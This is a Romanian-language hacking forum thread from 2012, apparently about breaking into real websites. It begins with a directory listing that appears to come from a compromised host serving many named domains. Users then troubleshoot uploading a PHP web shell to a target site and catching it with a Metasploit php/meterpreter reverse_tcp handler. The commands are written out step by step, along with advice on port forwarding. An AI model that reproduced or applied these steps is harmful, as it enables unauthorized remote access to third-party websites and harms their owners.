drwxr-xr-x   12 root root     4096 Jun 20 12:21 telefonomania.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 temarestaurant.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 tempodiesposizione.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 tennisvilladoro.net
drwxr-xr-x   14 root root     4096 Jan 24  2012 terremediterranee.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 thenewhouse.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 thotconsulting.it
drwxr-xr-x   12 root root     4096 Aug 24 14:19 thurm.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 tooseido.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 torrisimmobiliare.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 tre-x.net
drwxr-xr-x   14 root root     4096 Jan 31  2012 trebbiricambi.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 trunksz.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 tsgsrl.net
drwxr-xr-x   14 root root     4096 Jan 17  2012 tullioberlenghi.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 universalsport.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 unsorriso.eu
drwxr-xr-x   14 root root     4096 Jan 24  2012 urbinatiluca.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 usarcibari.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 vacuumsealer.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 vacuumsealerflower.com
drwxr-xr-x   14 root root     4096 Jan 18  2012 valliceramiche.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 vanitasbeauty.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 victoriagray.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 vilfer.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 villabrunaeventi.it
drwxr-xr-x   12 root root     4096 Aug 24 14:30 webdomini.com

FaramirSV · October 27, 2012

bun...am inteles tot dar tot nu m-am prins daca la comanda asta "msf exploit(handler) > set LHOST 0.0.0.0" tre setat ip-ul hostului sau lasam 0.0.0.0 ?

neo.hapsis · October 27, 2012

La setare LHOST (localhost) trebuie sa setezi 0.0.0.0 sau ip-ul tau ca sa se poate faca conexiunea intre tine si tinta.

FaramirSV · October 27, 2012

am setat dar nu se conecteaza....am asteptat 20 min si no zis nimic :)) ...no trecut de etapa

"[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...[*"

neo.hapsis · October 27, 2012

Scuza dar shellul creat le-ai uplodat la websitul care le ataci?? le-ai si executat?Mai uitate in sursa la shell.php ca tagurile nu sunt puse automat! <?php si la sfarsit ?>

FaramirSV · October 27, 2012

da,l-am uploadat...l-am accesat dar da pagina alba! ///da am pus si tagurile

si tot nu trece de acel proces

acuablue · October 27, 2012

adica intrun cuvant din ce am inteles eu asa in mare iti faci shell din rdp server ?

neo.hapsis · October 27, 2012

da,l-am uploadat...l-am accesat dar da pagina alba! ///da am pus si tagurile
si tot nu trece de acel proces

URMEAZA PAS cu PAS

msfconsole -n

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 0.0.0.0

set LPORT 443

exploit

Acum dute pe linkul care ti-am trimis in PM si spune-mi daca te ai conectat!

FaramirSV · October 27, 2012

am facut.... dar.... tot asteapta si de data asta X_X

[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...

EDIT: am mai facut odata azi...dar in zadar...

am facut totul cum scrii u si arata in video si nimic...

tot ramane la "Started reverse handler on 0.0.0.0:443 ............"

si nu am Wirelees

Edited October 28, 2012 by FaramirSV

neo.hapsis · October 29, 2012

Nu stiu cum le creez shellul ,imi merge perfect si cu armitage!

Daca nu le poti rezolva contacteaza ma pe ID-ul meu!

hades · October 29, 2012

am facut.... dar.... tot asteapta si de data asta
EDIT: am mai facut odata azi...dar in zadar...
am facut totul cum scrii u si arata in video si nimic...
tot ramane la "Started reverse handler on 0.0.0.0:443 ............"
si nu am Wirelees

Evident. Ai router si pentru a putea folosi payload-ul respectiv trebuie sa iti faci port forwarding.

Sign In

Pentest Remote Server (Shell upload)

Recommended Posts

Guest Kovalski

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Join the conversation